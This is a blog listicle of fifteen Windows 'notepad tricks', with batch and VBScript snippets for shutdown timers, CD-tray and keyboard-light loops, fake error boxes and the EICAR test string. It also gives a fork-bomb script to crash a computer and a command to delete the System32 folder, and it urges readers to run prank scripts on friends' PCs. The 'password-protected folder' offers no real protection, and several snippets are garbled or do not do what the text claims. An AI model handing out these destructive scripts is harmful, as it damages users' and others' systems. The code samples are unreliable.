Top 15 Computer Notepad Tricks in 2020

Though we only focus on smartphones, I just realize that there are lots of hidden notepad tricks you can do within your computer/laptop. There are some codes or texts you have to copy to your notepad that will perform some amazing tricks for you. The notepad is very enough powerful even that can really harm your computer. Some of the text files can delete system files or brick your computer hardware too.

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Here we have listed 15 Computer Notepad Tricks in 2020:

1. Shutdown your PC with Time period with Notepad

Yes. It is possible to shut down your computer with a simple few notepad codes. It is useful to shut down the computer instant although you can also set a shutdown timer.   Copy the below code and save it as a “shutdown.BAT” format.   For 45 seconds or you can change any number you want.

shutdown.exe -s -t 45

For instant shutdown

shutdown.exe -s -t 00

2. Pop the CD Drive in/Out continuously with Notepad

Have you ever imagine, how cool it would be to open the CD drive with a file! Now you use the below notepad code to pop the CD drive in/out continuously. It will not harm your pc, once you reboot the computer, it will be fixed automatically.

Copy the given below code and save this code as “pop.VBS” format

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

3. Create a password-protected folder

You can easily make a locked folder within your computer. You can modify the given code to change the passwords. Read this article for more.
Copy the below code and save it as a ‘Locker.bat” format.

@ECHO OFF
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Private goto MDPrivate
:CONFIRM
echo Are you sure to lock this folder? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock Your Secure Folder
set/p "pass=>"
if NOT %pass%== wonderhowtogoto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDPrivate
md Private
echo Private created successfully
goto End
:End

4. Make Text2speech software with Notepad

Text2speech is a software that is used for the listening pronunciation of the word. You can use the given code and make your own text2speech software where you can type any word or phrase to listen to the pronunciation in audio.   Copy the given code into your computer notepad and save it as “Text2speech.VBS” format and run it.

Dim message, sapi
message = InputBox("A Best Text to Audio converter"+vbcrlf+"From – TELE TRICK MANIA/","Text to Audio converter")
Set sapi = CreateObject("sapi.spvoice")
sapi.Speak message

5. Make Matrix Effects

The matrix effect seems really cool. It feels like you’re hacking or programming. If you’ve seen the matrix movie, you would definitely have an idea that what I’m talking about. However, you can easily create the matrix effects with a simple notepad trick.   Copy the below code and save it as a “matrix.BAT” file and simply run it.

@echo off
color 02
:tricks
echo %random%%random%%random%%random%%random%%random%%random%%random%
goto tricks

6. Dance Effect of Keyboard light

Probably this notepad trick could be your favorite. You can use the given code to dance your keyword light, it looks like a disco light.    Copy the given below code into your notepad and save it as Led.VBS format and run the file to test it.

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop

7. Make Fake Windows Error

This is a notepad trick to prank your friend. This single line of text code can easily prank your friends by showing him/her a fake error. Don’t be afraid, this will not harm your computer.   Copy the given texts and save it as “error.VBS” file

x=msgbox("message",4+16,"title")

8. Make a virus to test your Antivirus

You can make a virus to test your antivirus is working correctly or not. You can also test the inbuilt firewall security is working fine or not.

Copy the given below code into the notepad and save it as virus.exe format.

X5O!P%@AP[4PZX54(P^) 7CC)7}$EICAR-STANDARD- ANTIVIRUS-TEST-FILE!$H+H*

9. Crash your Computer with Notepad

Yes. This is the power of a simple notepad. With a simple few codes, you can easily crash your computer 🖥  with Notepad.
Warning: Close your all-important tasks before run it. Copy the below codes into the computer and save it as “Crash.VBS” format.

@echo off
A
start
goto A

10. Delete System32 File With Notepad

System32 is a very important folder in our computer hard drive where all the system files are stored including all the system apps, functionality, etc. Deleting this folder can cause your pc to be corrupt. This can harm your pc. warning: Never run this notepad code otherwise your pc will be corrupt.   Copy the given code and save it as a  “system32.BAT” file

del c:WINDOWsystem32*.*/q

11. Make a Personal Diary with Notepad

Open notepad in your computer and type “.LOG” without quotes and it should be in capital letter and save it as a diary.txt. The name could be anything. Open the diary.txt file, it will open an interface just like a diary.

12. Toggle Capslock Continuously

This is a cool notepad trick, it toggles the capslock key continuously which you should definitely run on your friend’s PC or laptop.
Copy the below code and save it as capslock.VBS format.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

13. Open Notepad Continuously

This trick will surprise your friends, you can open notepad continuously self. You just need to run a simple batch file and see the magic.
Copy the below code into the notepad and save it as notepad.BAT format

@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top

14. Make Keyboard Typing Slow

This a funny notepad trick that can be used to make the keyboard typing slow. Basically, it reduces the response time of the keyboard by 2-3 seconds.

Copy the below code and save it as slowtyping.VBS format.

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

15. Press the Enter key Continuously

Copy the below code and save it as Anything.VBS file.

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

Conclusion

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